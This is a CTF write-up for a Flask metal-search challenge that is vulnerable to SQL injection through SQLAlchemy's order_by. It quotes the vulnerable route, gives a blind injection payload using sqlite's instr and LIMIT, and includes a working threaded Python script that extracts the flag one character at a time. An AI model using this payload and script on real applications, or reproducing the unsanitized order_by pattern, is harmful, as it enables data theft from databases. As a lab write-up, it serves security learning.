Flag
|
Solves
|
Point Value
|
flag{order_by_blind}
|
260
|
168
|
Fullmetal Alchemist is a
Flask
web application that
conveniently
allows you to search for any metal on the periodic table. You are also provided with the application source code to review and identify any security vulnerabilities.
Looking through the source code we can see that
sqlalchemy
is used for managing the data on a
sqlite
backend database. If you didn't know,
sqlalchemy
is a powerful python module for managing SQL databases that you can use by creating models and letting
sqlalchemy
or SQL database. It can also be used for
querying
data from those models, which is generally safe except for a few scenarios...
One of the unsafe scenarios is if
user input is directly inserted into the
order_by
method
! This is because sqlalchemy will just append
ORDER BY {user_input}
to the end of the of the query filter and
does not escape the user input
(cannot use prepared statements for
ORDER BY
statements)! Therefore, if a developer does not filter user input going into the function
order_by
then it is vulnerable to
SQL injection
!
We can see the web application is vulnerable by seeing that the
index()
route just whacks user input straight into
order_by
and is vulnerable to
SQL injection
when
metals = Metal.query.filter(Metal.name.like("%{}%".format(search))).order_by(text(order))
is executed.
src/app.py
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "POST":
search = ""
order = None
if "search" in request.form:
search = request.form["search"]
if "order" in request.form:
order = request.form["order"]
if order is None:
metals = Metal.query.filter(Metal.name.like("%{}%".format(search)))
else:
metals = Metal.query.filter(
Metal.name.like("%{}%".format(search))
).order_by(text(order))
return render_template("home.html", metals=metals)
else:
metals = Metal.query.all()
return render_template("home.html", metals=metals)
So how do we exploit the
ORDER BY
SQL injection vulnerability? It is not as simple as appending
AND
,
OR
,
SELECT
, etc since after the
ORDER BY
clause these clauses will cause an error to be returned. However,
we can execute a different query and use the result of that query to change the result of the original query and construct a blind SQL injection attack
!
It is now time to introduce you all to the most OP
sqlite
function for performing blind
sqlite
injection attacks.
instr
Man I have abused this
sqlite
function so hard in several CTFs, getting unintended blind SQL injection solutions, since most challenge creators forget about it.
instr(column, 'some string')
works by returning
1
if the provided string is in the column value and
0
otherwise. You can use this to exfiltrate a flag from a column character by character, looking for results where you find the next character in a flag. For an example,
instr(flag, 'flag{a')
will return
1
if the next character in the flag is
a
, otherwise it returns
0
.
Knowing how
instr
functions, and the flag is located in the table
flag
in the column
flag
I constructed the following blind SQL injection payload.
1 LIMIT 0, 1|1000*(SELECT instr(flag, '{chars}') FROM flag)
How this works is when I find the next character in the flag, the upper
LIMIT
will by
1001
and will dump all of the metals in the database. Otherwise, when I have not found the next character in the flag then the upper limit will only be
1
since
1000*0=0
(in case you skipped maths in highschool). This causes a very significant difference in the content length in the response that I can easily check to see if I found the correct next flag!
Putting it all together, below is the dirty solution code that I wrote.
import requests, threading, queue, string
import urllib.parse as url_parse
QUERY = "1 LIMIT 0, 1|1000*(SELECT instr(flag, '{chars}') FROM flag)"
THREADS = 20
TARGET = "<URL TO YOUR CHALLENGE INSTANCE>"
PREFIX = "flag{"
CHARS = "_" + string.ascii_lowercase + string.digits + string.ascii_uppercase + "}"
q = queue.Queue()
result_q = queue.Queue()
def worker():
while True:
chars = q.get()[0]
if chars == None:
break
query = QUERY.format(
chars=chars
)
r = requests.post(TARGET,data={"search":"","order":query})
if len(r.content) > 3480:
result_q.put((chars,))
q.task_done()
if __name__ == "__main__":
for c in CHARS:
q.put((PREFIX+c,))
threads = [
threading.Thread(target=worker, daemon=True)
for _t in range(THREADS)
]
t: threading.Thread
[t.start() for t in threads]
while True:
found_chars: str = result_q.get()[0]
print("FOUND CHARS:", found_chars)
for c in CHARS:
q.put((found_chars+c,))
result_q.task_done()
Executing the code above will leak the flag character by character as shown below.